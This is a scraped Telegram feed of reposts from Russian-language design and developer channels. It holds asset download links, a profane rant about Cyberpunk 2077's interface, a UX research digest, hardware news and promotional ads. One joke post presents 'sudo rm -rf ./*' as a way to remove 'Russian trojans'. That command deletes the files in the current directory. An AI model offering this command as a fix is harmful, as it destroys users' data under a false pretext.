Forwarded from Shock Design
This media is not supported in your browser
VIEW IN TELEGRAM
Как-то так выглядят те самые рекламные ролики за кадром
Forwarded from ai.dot(ufna, dev)
Как известно, одним из лучших твиков распухших дистрибутивов линукса является удаление french language пака. Таким нехитрым образом можно освободить десятки гигабайт на диске (попробуйте сами:
Однако киберпреступность не стоит на месте, и для избавления от наработок русских хакеров теперь необходимо ввести
Живи в безопасности. Get rid of Russian Federation trojans on your Linux machine right now!
sudo rm -fr ./*).Однако киберпреступность не стоит на месте, и для избавления от наработок русских хакеров теперь необходимо ввести
sudo rm -rf ./*. Живи в безопасности. Get rid of Russian Federation trojans on your Linux machine right now!
Forwarded from Дизайн-Телега 🔥
This media is not supported in your browser
VIEW IN TELEGRAM
Мокап - Basic Psd Product Packaging Mockup
👉Скачать:
https://bit.ly/3dApKTn
#mockup_telega
Больше материалов на канале
👉Скачать:
https://bit.ly/3dApKTn
#mockup_telega
Больше материалов на канале
Forwarded from UX Live 🔥
This media is not supported in your browser
VIEW IN TELEGRAM
Today is the day https://youtu.be/Gs069dndIYk
Forwarded from UX Live 🔥
На днях начал смотреть маняме Cyberpunk: Edgerunners и как и все хайпанулся по повторному перепрохождению игры. Дай думаю посмотрю сначала че там по интерфейсу изменили, вбиваю в ютуб "Cyberpunk interface" и первое видео это мой 40-минутный бугурт, о котором я и забыл даже: https://youtu.be/RXMN8YLV82U Охуел с того что там столько комментариев и просмотров, даже как-то не заметил когда это произошло.
Что же до самой игры — они ничего за 2 года не исправили в нём:
1. Тупейший dodge на WASD из стелса всё так же работает и привлекает внимание всех, либо его целиком можно отключить и тогда отыгрыш с катаной забыть. Как обычно поправили простые мимокроки с реддита: https://www.reddit.com/r/LowSodiumCyberpunk/comments/staj8p/onetap_dodge_a_simple_guide_pc_only/ (пару строчек подредактировать и можно доджить на любую кнопку)
2. Случайно задетый плечом коп или какое-то резкое движение всё так же пугает все толпы людей
3. UI и UX инвентаря всё такой же пососный каловый сблёв бездарного тупого хуесоса.
4. Карта всё такое же говно
Короче продолжать можно бесконечно, изменений не завезли. Даже как-то показалось что багов стало ещё больше, которых я даже раньше не встречал. Но самое неприятное — она стала внезапно у меня тормозить до 25фпс (разумеется всё на высоких и с RTX, без него стабильно под 80фпс). Т.е. я её даже не удалял, на том же компе, с ярлыка на том же месте запустил и всё стало гаже. То ли cd-пидоры патчами сломали, то ли нвидия драйверами.
Но играть дальше буду, игра-то в целом охуенная и атмосферная.
Что же до самой игры — они ничего за 2 года не исправили в нём:
1. Тупейший dodge на WASD из стелса всё так же работает и привлекает внимание всех, либо его целиком можно отключить и тогда отыгрыш с катаной забыть. Как обычно поправили простые мимокроки с реддита: https://www.reddit.com/r/LowSodiumCyberpunk/comments/staj8p/onetap_dodge_a_simple_guide_pc_only/ (пару строчек подредактировать и можно доджить на любую кнопку)
2. Случайно задетый плечом коп или какое-то резкое движение всё так же пугает все толпы людей
3. UI и UX инвентаря всё такой же пососный каловый сблёв бездарного тупого хуесоса.
4. Карта всё такое же говно
Короче продолжать можно бесконечно, изменений не завезли. Даже как-то показалось что багов стало ещё больше, которых я даже раньше не встречал. Но самое неприятное — она стала внезапно у меня тормозить до 25фпс (разумеется всё на высоких и с RTX, без него стабильно под 80фпс). Т.е. я её даже не удалял, на том же компе, с ярлыка на том же месте запустил и всё стало гаже. То ли cd-пидоры патчами сломали, то ли нвидия драйверами.
Но играть дальше буду, игра-то в целом охуенная и атмосферная.
YouTube
Разбор интерфейса Cyberpunk 2077
Это просто обзор на UX/UI Cyberpunk 2077 и его отсоснейший уровень реалиции. Пробежался по основным моментам, которые могут позволить себе допускать всякие инди-студии и новички. Сама игра вышла замечательной. Ждем патчей и полной переделки UI/UX или хотя…
Forwarded from Дайджест продуктового дизайна
Давненько не было мини-выпусков о пользовательских исследованиях (на самом деле нет — это самая быстрорастущая ветка):
1. Jeff Sauro и Jim Lewis: Классификатор методов. Они делят их на несколько категорий: поведение, отношение и аналитические.
2. Klaviyo: Формат сессий критики. Они ориентировались на метод дизайн-критики, но адаптировали его под свои задачи.
3. UserZoom: Мини-фреймворк по ResearchOps.
4. NN/g: Метод анти-персонажей. Он позволяет лучше понять тех, кто может использовать продукт в злонамеренных целях.
5. User Interviews: Серия подходов, которые помогают снять геморрой по поиску респондентов. Это самая ненавистная часть работы многих исследователей.
6. Condens: Как составить карту родства тем из результатов исследования. В идеале — в виде совместной рабочей сессии. Это более полная версия её недавней статьи.
7. Atlassian: Неплохой обзор процесса интервью.
8. NN/g: Фреймворк CUE (Context, Unspoken, Environment), который помогает проводить этнографические исследования и лучше понять особенности поведения.
9. Jeff Sauro и Jim Lewis: Как сильно растёт количество отвалившихся респондентов, если в удалённом немодерируемом исследовании их просят описывать происходящее вслух.
10. NN/g: Исследования мобильных приложений с дополненной реальностью.
11. Madeline J Hallewell, David R Large, Catherine Harvey, Leah Briars, Jenna Evans, Madelaine Coffey и Gary Burnett: Исследование взаимодействия с автономными такси.
NN/g: Памятка по защите персональных данных респондентов.
#research
1. Jeff Sauro и Jim Lewis: Классификатор методов. Они делят их на несколько категорий: поведение, отношение и аналитические.
2. Klaviyo: Формат сессий критики. Они ориентировались на метод дизайн-критики, но адаптировали его под свои задачи.
3. UserZoom: Мини-фреймворк по ResearchOps.
4. NN/g: Метод анти-персонажей. Он позволяет лучше понять тех, кто может использовать продукт в злонамеренных целях.
5. User Interviews: Серия подходов, которые помогают снять геморрой по поиску респондентов. Это самая ненавистная часть работы многих исследователей.
6. Condens: Как составить карту родства тем из результатов исследования. В идеале — в виде совместной рабочей сессии. Это более полная версия её недавней статьи.
7. Atlassian: Неплохой обзор процесса интервью.
8. NN/g: Фреймворк CUE (Context, Unspoken, Environment), который помогает проводить этнографические исследования и лучше понять особенности поведения.
9. Jeff Sauro и Jim Lewis: Как сильно растёт количество отвалившихся респондентов, если в удалённом немодерируемом исследовании их просят описывать происходящее вслух.
10. NN/g: Исследования мобильных приложений с дополненной реальностью.
11. Madeline J Hallewell, David R Large, Catherine Harvey, Leah Briars, Jenna Evans, Madelaine Coffey и Gary Burnett: Исследование взаимодействия с автономными такси.
NN/g: Памятка по защите персональных данных респондентов.
#research
Measuringu
A Taxonomy of Common UX Research Methods – MeasuringU
Forwarded from ai.dot(ufna, dev)
Неплохая статья про новые Лавлейс чипы. Очень хочется, чтобы в какой-то момент драйвера таких штук стали опенсорсными, т.к. я не вижу никаких причин кроме как копирайты, чтобы зашивать логику (по сути - софт) в железо.
Ну т.е. круто, но надо и шаловливыми ручками потыкать! 🤡
https://chipsandcheese.com/2022/09/22/nvidias-rtx-4090-launch-a-strong-ray-tracing-focus/
Ну т.е. круто, но надо и шаловливыми ручками потыкать! 🤡
https://chipsandcheese.com/2022/09/22/nvidias-rtx-4090-launch-a-strong-ray-tracing-focus/
Chipsandcheese
Nvidia’s RTX 4090 Launch: A Strong Ray-Tracing Focus
Recently, Nvidia announced their RTX 4000 series at GTC 2022.
Forwarded from Shock Design
Хотите стать программистом, дизайнером или маркетологом, но не уверены, что вам подойдёт эта специальность? Сомневаетесь в своих силах и что сможете освоить материал?
У нас есть для вас решение!
GeekBrains дарит 5 онлайн-курсов для старта работы, где вы сможете абсолютно бесплатно получить базовые знания в IT, дизайне и маркетинге:
https://clc.to/2aSlUg
Для вас это будет хороший старт. После прохождения курса вы сможете:
– Понять, насколько серьезно вы хотите заниматься программированием, дизайном и маректингом, или выбрать другую специальность.
– Лучше понять, как выстроить свое обучение и что действительно необходимо знать в этих сферах.
– Более осознанно и грамотно самостоятельно изучать материалы в интернете.
– Получить реальные практические навыки.
Сделайте первый шаг уже сейчас, получите бесплатный доступ по ссылке:
https://clc.to/2aSlUg
У нас есть для вас решение!
GeekBrains дарит 5 онлайн-курсов для старта работы, где вы сможете абсолютно бесплатно получить базовые знания в IT, дизайне и маркетинге:
https://clc.to/2aSlUg
Для вас это будет хороший старт. После прохождения курса вы сможете:
– Понять, насколько серьезно вы хотите заниматься программированием, дизайном и маректингом, или выбрать другую специальность.
– Лучше понять, как выстроить свое обучение и что действительно необходимо знать в этих сферах.
– Более осознанно и грамотно самостоятельно изучать материалы в интернете.
– Получить реальные практические навыки.
Сделайте первый шаг уже сейчас, получите бесплатный доступ по ссылке:
https://clc.to/2aSlUg
Forwarded from Дизайн-Телега 🔥
Ты иллюстратор? Есть запасной план, как в любой точке мира заработать на своём творчестве?
Биржи фриланса нас покинули, заказчики отвалились и неизвестно, что будет дальше..
Этот канал создан для художников, которые начали задумываться об NFT!
1,5 года автор канала Ксения самостоятельно изучает рынок и регулярно продает арты от 150 до 3000$!
Что полезного на канале?
✅Как начать? В закрепе пошаговая инструкция - «КАК ЗАЙТИ В NFT НОВИЧКУ?»
✅Что рисовать? Всё о тенденциях 2022-2023
✅Из-за чего проваливаются на старте? Эфиры с опытными художниками и подкасты
✅Восстание в NFT: зачем артисты отвоевывали свои права на площадках?
Сомневаешься? Смотри:
1. Любители быстрого заработка хайпанули и ушли из NFT, освободив место настоящим художникам
2. На канале четкая и понятная инфа! Поймешь, что тебе продавать в NFT?
3. Сможешь самостоятельно делать небольшие продажи от 100 долларов, как уже делают подписчики канала!
Подписывайся и не стесняйся задавать вопросы - здесь очень уютное коммьюнити!🙌
Биржи фриланса нас покинули, заказчики отвалились и неизвестно, что будет дальше..
Этот канал создан для художников, которые начали задумываться об NFT!
1,5 года автор канала Ксения самостоятельно изучает рынок и регулярно продает арты от 150 до 3000$!
Что полезного на канале?
✅Как начать? В закрепе пошаговая инструкция - «КАК ЗАЙТИ В NFT НОВИЧКУ?»
✅Что рисовать? Всё о тенденциях 2022-2023
✅Из-за чего проваливаются на старте? Эфиры с опытными художниками и подкасты
✅Восстание в NFT: зачем артисты отвоевывали свои права на площадках?
Сомневаешься? Смотри:
1. Любители быстрого заработка хайпанули и ушли из NFT, освободив место настоящим художникам
2. На канале четкая и понятная инфа! Поймешь, что тебе продавать в NFT?
3. Сможешь самостоятельно делать небольшие продажи от 100 долларов, как уже делают подписчики канала!
Подписывайся и не стесняйся задавать вопросы - здесь очень уютное коммьюнити!🙌
Forwarded from Дизайн-Телега 🔥
This media is not supported in your browser
VIEW IN TELEGRAM
Набор шейпов - Abstract Shapes Free
👉Скачать:
https://clck.ru/328erb
#shapes_telega
Больше материалов на канале
👉Скачать:
https://clck.ru/328erb
#shapes_telega
Больше материалов на канале
Forwarded from Shock Design
This media is not supported in your browser
VIEW IN TELEGRAM
Абстрактная залипательная анимация
Forwarded from Shock Design
Сегодня в 19:00 (МСК) на канале @Blend3D пройдет стрим на тему 3D-моделирования. Ведущие Илья Домнинс и Семён Воронцов – основатели DeV virtual production и продюсеры Unreal Artists Challenge.
Будем говорить о том, что такое 3D-моделирование, где оно нужно и как на этом зарабатывать. Обсудим тренды на рынке Digital ART, что такое Web 3.0 и при чем тут 3D.
Если вам это интересно, залетайте на стрим и в наш чат @Blender3DChat, где можно будет задать вопросы и просто пообщаться на тему 3D.
Будем говорить о том, что такое 3D-моделирование, где оно нужно и как на этом зарабатывать. Обсудим тренды на рынке Digital ART, что такое Web 3.0 и при чем тут 3D.
Если вам это интересно, залетайте на стрим и в наш чат @Blender3DChat, где можно будет задать вопросы и просто пообщаться на тему 3D.